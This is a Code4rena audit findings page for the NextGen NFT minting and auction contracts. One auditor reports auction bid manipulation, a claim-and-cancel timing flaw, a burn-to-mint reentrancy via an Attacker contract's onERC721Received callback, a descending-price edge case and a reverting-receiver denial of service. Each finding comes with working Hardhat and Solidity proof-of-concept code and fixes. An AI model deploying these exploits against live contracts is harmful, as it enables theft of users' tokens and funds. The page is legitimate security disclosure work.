Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 57/243
Findings: 4
Award: $131.81
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
Normal user are unable to participate to an auction and malicious user can win an auction with a low bid price.
To participate to an auction, it is required that user must place a bid with the bid price being higher than the current highest bid:
require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
When auction starts, a malicious user can front-run and bid with 1 wei
, then bid again with a price much higher than market price, by doing that, normal users won't be able to participate to the auction as it's not reasonable for normal users to bid with a much higher price than market price.
At the end of the auction, the malicious user can simple cancel the higher bid and wait auction end and claim the token.
function cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); auctionInfoData[_tokenid][index].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); }
Assuming:
1 wei
at the beginning of the auction;10 ether
(much higher than market price which is 5 ether)2 ether
, she will fail to do so because the highest bid is 10 ether
10 ether
bidPlease see the test case:
it("#Auction", async function() { await time.increaseTo(1700086400) // create collection to burn (Collection 7) await contracts.hhCore.createCollection("Auction", "", "", "", "", "", "", [],) await contracts.hhCore.setCollectionData(7, signers.addr1.address, 2, 10000, 0) await contracts.hhMinter.setCollectionCosts(7, 0, 0, 0, 1, 0, ethers.ZeroAddress) await contracts.hhMinter.setCollectionPhases(7, 1700086400, 9999999999, 9999999999, 9999999999, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870") await contracts.hhCore.addRandomizer(7, contracts.hhRandomizer) await contracts.hhMinter.mintAndAuction(signers.owner, "Auction", 0, 7, 1700172800) const auctionTokenId = await contracts.hhCore.viewTokensIndexMin(7) + await contracts.hhCore.viewCirSupply(7) - BigInt(1); await contracts.hhCore.approve(contracts.hhAuction.getAddress(), auctionTokenId) // Malicious user bids with 1 wei and then bids with 10 ether await contracts.hhAuction.connect(signers.addr2).participateToAuction(auctionTokenId, {value: 1}); await contracts.hhAuction.connect(signers.addr2).participateToAuction(auctionTokenId, {value: BigInt(10000000000000000000)}); // Normal user cannot bid with normal price await expect(contracts.hhAuction.connect(signers.addr3).participateToAuction(auctionTokenId, {value: BigInt(1000000000000000000) })).to.be.reverted // Malicious user cancel his 10 ether bid await time.setNextBlockTimestamp(1700172800) await contracts.hhAuction.connect(signers.addr2).cancelBid(auctionTokenId, 1); // Malicious user won the token with his 1 wei bid await time.setNextBlockTimestamp(1700172801) expect(await contracts.hhAuction.returnHighestBid(auctionTokenId)).equal(1) await contracts.hhAuction.claimAuction(auctionTokenId) expect(await contracts.hhCore.ownerOf(auctionTokenId)).equal(signers.addr2.address) })
Manual Review
User should be allowed to bid as long as there is no duplicate bid price.
+ mapping (uint256 => mapping (uint256 => bool)) public tokenBidPrices; function participateToAuction(uint256 _tokenid) public payable { - require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); + require(tokenBidPrices[_tokenId][msg.value] == false && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); + tokenBidPrices[_tokenId][msg.value] = true auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }
Access Control
#0 - c4-pre-sort
2023-11-15T08:55:14Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:13:00Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:16:26Z
alex-ppg marked the issue as duplicate of #1784
#3 - c4-judge
2023-12-07T11:49:49Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T17:25:38Z
alex-ppg marked the issue as partial-25
#5 - c4-judge
2023-12-08T17:28:05Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-08T18:16:53Z
alex-ppg marked the issue as partial-25
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
Auction winner can claim token and cancel bid at the AuctionEndTime
, user gets a free token and protocol suffers a loss.
User can claim token at the end of an auction:
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
And user can also cancel bid at the end of an auction:
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
So if block.timestamp
is equal to AuctionEndTime
, a winner can claim token and then cancel his bid at the same time. Winner gets a free token and protocol suffers a loss.
Manual Review
Token should only be claimed after auction ends.
- require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
Access Control
#0 - c4-pre-sort
2023-11-14T15:40:00Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-01T15:45:24Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T15:45:32Z
alex-ppg marked the issue as duplicate of #1788
#3 - c4-judge
2023-12-08T18:16:46Z
alex-ppg marked the issue as partial-25
🌟 Selected for report: ast3ros
Also found by: 00xSEV, Al-Qa-qa, CaeraDenoir, Jiamin, Juntao, Ruhum, bart1e, circlelooper, crunch, gumgumzum, rishabh, smiling_heretic, ustas
95.7343 USDC - $95.73
In Burn-to-Mint model, the token to be burned can be sold or staked before it's actually burned, the token owner will get unethical earnings, buyer or staking protocol will suffer a loss.
In Burn-to-Mint model, a user burns a NextGen token to get a new NextGen token on a different collection. When user calls burnToMint(...) function, user is not required to transfer the token to the protocol:
function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable { require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn"); require(block.timestamp >= collectionPhases[_mintCollectionID].publicStartTime && block.timestamp<=collectionPhases[_mintCollectionID].publicEndTime,"No minting"); require ((_tokenId >= gencore.viewTokensIndexMin(_burnCollectionID)) && (_tokenId <= gencore.viewTokensIndexMax(_burnCollectionID)), "col/token id error"); // minting new token uint256 collectionTokenMintIndex; collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID); require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply"); require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH"); uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID); // burn and mint token address burner = msg.sender; gencore.burnToMint(mintIndex, _burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o, burner); collectionTotalAmount[_mintCollectionID] = collectionTotalAmount[_mintCollectionID] + msg.value; }
After some checks, function burnToMint(...) in NextGenCore.sol
is called to do the actual minting and burning:
function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved"); collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) { _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o); // burn token _burn(_tokenId); burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1; } }
It could be seen that new collection token will first be minted to user and then the old token is burned,
and in the _mintProcessing function, _safeMint
is called:
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
So if the new token receiver is a contract, a callback function _checkOnERC721Received
in the receiver contract will be called:
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer" ); }
This is problematic because a malicious user can sell to stake the old token in the _checkOnERC721Received
function, as the malicious user is still the owner of the token, after trading/staking, the token is burned, buyer or the staking protocol will lose the token forever.
To verify, please deploy the below contract:
contract Attacker is IERC721Receiver { NextGenCore gencore; uint256 tokenIdToSellOrStake; bool public tokenSoldOrStaked; constructor(address _gencore) { gencore = NextGenCore(_gencore); } function sellOrStake(address to, uint256 tokenId) public { // transfer to sell or stake gencore.transferFrom(address(this), to, tokenId); tokenSoldOrStaked = true; } function getApproval4BurnToMint() public { gencore.approve(msg.sender, tokenIdToSellOrStake); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { if (tokenIdToSellOrStake == 0) { tokenIdToSellOrStake = tokenId; } else { sellOrStake(address(1), tokenIdToSellOrStake); } return IERC721Receiver.onERC721Received.selector; } }
And run the test case in nextGen.test.js:
context("Audit", () => { it("#Burn to Mint and then to Sell or Stake", async function() { await time.increaseTo(1700000001); // create collection to burn (Collection 5) await contracts.hhCore.createCollection("Burn Collection", "", "", "", "", "", "", [],) await contracts.hhAdmin.registerCollectionAdmin(5, signers.addr1.address, true,) await contracts.hhCore.connect(signers.addr1).setCollectionData(5, signers.addr1.address, 2, 10000, 0,) await contracts.hhMinter.setCollectionCosts(5, BigInt(1000000000000000000), 0, 0, 200, 1, ethers.ZeroAddress,) await contracts.hhMinter.setCollectionPhases(5, 1700000000, 1700000000, 1700000000, 1700086400, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870",) await contracts.hhCore.addRandomizer(5, contracts.hhRandomizer,) // create collection to Mint (Collection 6) await contracts.hhCore.createCollection("Mint Collection", "", "", "", "", "", "", [],) await contracts.hhAdmin.registerCollectionAdmin(6, signers.addr1.address, true,) await contracts.hhCore.setCollectionData(6, signers.addr1.address, 2, 10000, 0,) await contracts.hhMinter.setCollectionCosts(6, BigInt(1000000000000000000), 0, 0, 200, 1, ethers.ZeroAddress,) await contracts.hhMinter.setCollectionPhases(6, 1700000000, 1700000000, 1700000000, 1700086400, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870",) await contracts.hhCore.addRandomizer(6, contracts.hhRandomizer,) // initialize burn collection 5 to mint for collection 6 await contracts.hhMinter.initializeBurn(5, 6, true) // mint collection 5 to attacker await contracts.hhMinter.mint(5, 1, 0, '', contracts.attacker.getAddress(), [], ethers.ZeroAddress, 0, { value: BigInt(1000000000000000000) }) const tokenIdToSellOrStake = await contracts.hhCore.viewTokensIndexMin(5) + await contracts.hhCore.viewCirSupply(5) - BigInt(1); expect(await contracts.hhCore.ownerOf(tokenIdToSellOrStake), await contracts.attacker.getAddress()) expect(await contracts.attacker.tokenSoldOrStaked(), false); // burn to mint await contracts.attacker.getApproval4BurnToMint() await contracts.hhMinter.burnToMint(5, tokenIdToSellOrStake, 6, 0, { value: BigInt(1000000000000000000) }) // token is successfully sold or staked expect(await contracts.attacker.tokenSoldOrStaked(), true); }) })
Manual Review
Old collection token should be burned before minting new collection token.
if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) { + // burn token + _burn(_tokenId); _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o); - // burn token - _burn(_tokenId); burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
ERC721
#0 - c4-pre-sort
2023-11-18T15:04:16Z
141345 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-22T10:25:54Z
141345 marked the issue as duplicate of #1597
#2 - c4-pre-sort
2023-11-26T14:00:05Z
141345 marked the issue as duplicate of #1742
#3 - c4-judge
2023-11-29T19:54:40Z
alex-ppg marked the issue as not a duplicate
#4 - c4-judge
2023-11-29T19:55:27Z
alex-ppg marked the issue as duplicate of #1597
#5 - c4-judge
2023-12-05T12:24:54Z
alex-ppg changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-12-08T21:27:22Z
alex-ppg marked the issue as partial-50
35.614 USDC - $35.61
At each time period of a Descending Sale, the minting cost decreases exponentially or linearly until it reaches its resting price (ending minting cost) and stays there until the end of the minting phase. However, user may get a price at collectionMintCost
(starting price) when minting in a Descending Sale if the token is minted at the end of the sale period.
User can mint collection item during the public sale period:
} else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
When getting the minting price of collection, protocol will first check salesOption
, if salesOption
is 2 (Descending Sale), then protocol compares block.timestamp
with publicEndTime
.
Only if block.timestamp
is less than publicEndTime
, protocol will calculate the minting price based on Descending Sale Model:
} else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
If block.timestamp
is equal to publicEndTime
, the minting price will be collectionMintCost
, which would be much higher than collectionEndMintCost
:
} else { // fixed price return collectionPhases[_collectionId].collectionMintCost; }
Please see below test case and run it in nextGen.test.js:
it("#getPriceCol4AtPulicEndTime", async function() { await time.increaseTo(1796931278) const price = await contracts.hhMinter.getPrice( 4, // _collectionID ) expect(parseInt(price)).equal(1000000000000000000); })
It may not seems like a high chance that the token is minted at publicEndTime
, however, it's still likely to happen if the collection is very popular and many user want to buy it.
Manual Review
Protocol should calculate the minting price based on Descending Sale Model, when block.timestamp
is less than or equal to publicEndTime
:
- } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){ + } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){
Context
#0 - c4-pre-sort
2023-11-16T01:42:33Z
141345 marked the issue as duplicate of #1391
#1 - c4-judge
2023-12-08T21:42:31Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
Auction bidders' funds will be stuck if the winner reverts on claiming token.
When an auction ends, the highest bidder will be the winner and token can be claimed , the other bidders' funds will be returned in the same transaction:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Protocol will safeTransferFrom
the token to the winner, and _checkOnERC721Received
will be called:
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer"); }
However, the winner can be contract without implementing onERC721Received
function or revert on this function, if that's the case, claim transaction will fail and users' funds will stuck.
Please see blew test case:
it("#Auction", async function() { await time.increaseTo(1700086400) // create collection to burn (Collection 7) await contracts.hhCore.createCollection("Auction", "", "", "", "", "", "", [],) await contracts.hhCore.setCollectionData(7, signers.addr1.address, 2, 10000, 0) await contracts.hhMinter.setCollectionCosts(7, 0, 0, 0, 1, 0, ethers.ZeroAddress) await contracts.hhMinter.setCollectionPhases(7, 1700086400, 9999999999, 9999999999, 9999999999, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870") await contracts.hhCore.addRandomizer(7, contracts.hhRandomizer) await contracts.hhMinter.mintAndAuction(signers.owner, "Auction", 0, 7, 1700172800) const auctionTokenId = await contracts.hhCore.viewTokensIndexMin(7) + await contracts.hhCore.viewCirSupply(7) - BigInt(1); await contracts.hhCore.approve(contracts.hhAuction.getAddress(), auctionTokenId) await contracts.auctionWinner.bid(auctionTokenId, {value: 1}) // auction ends await time.setNextBlockTimestamp(1700172801) await expect(contracts.hhAuction.claimAuction(auctionTokenId)).to.be.revertedWith("No thanks!") }) })
contract AuctionWinner { auctionDemo auction; constructor(address _auction) { auction = auctionDemo(_auction); } function bid(uint256 _tokenId) public payable { auction.participateToAuction{value: msg.value}(_tokenId); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { revert("No thanks!"); } }
Manual Review
Consider using the Pull over Push pattern by allowing bidders pull all of their funds after auction ends, instead of pushing it in the claim function
ERC721
#0 - c4-pre-sort
2023-11-15T08:54:52Z
141345 marked the issue as duplicate of #843
#1 - c4-pre-sort
2023-11-16T13:35:55Z
141345 marked the issue as duplicate of #486
#2 - c4-judge
2023-12-01T22:50:09Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T22:50:38Z
alex-ppg marked the issue as duplicate of #1759
#4 - c4-judge
2023-12-08T22:16:03Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)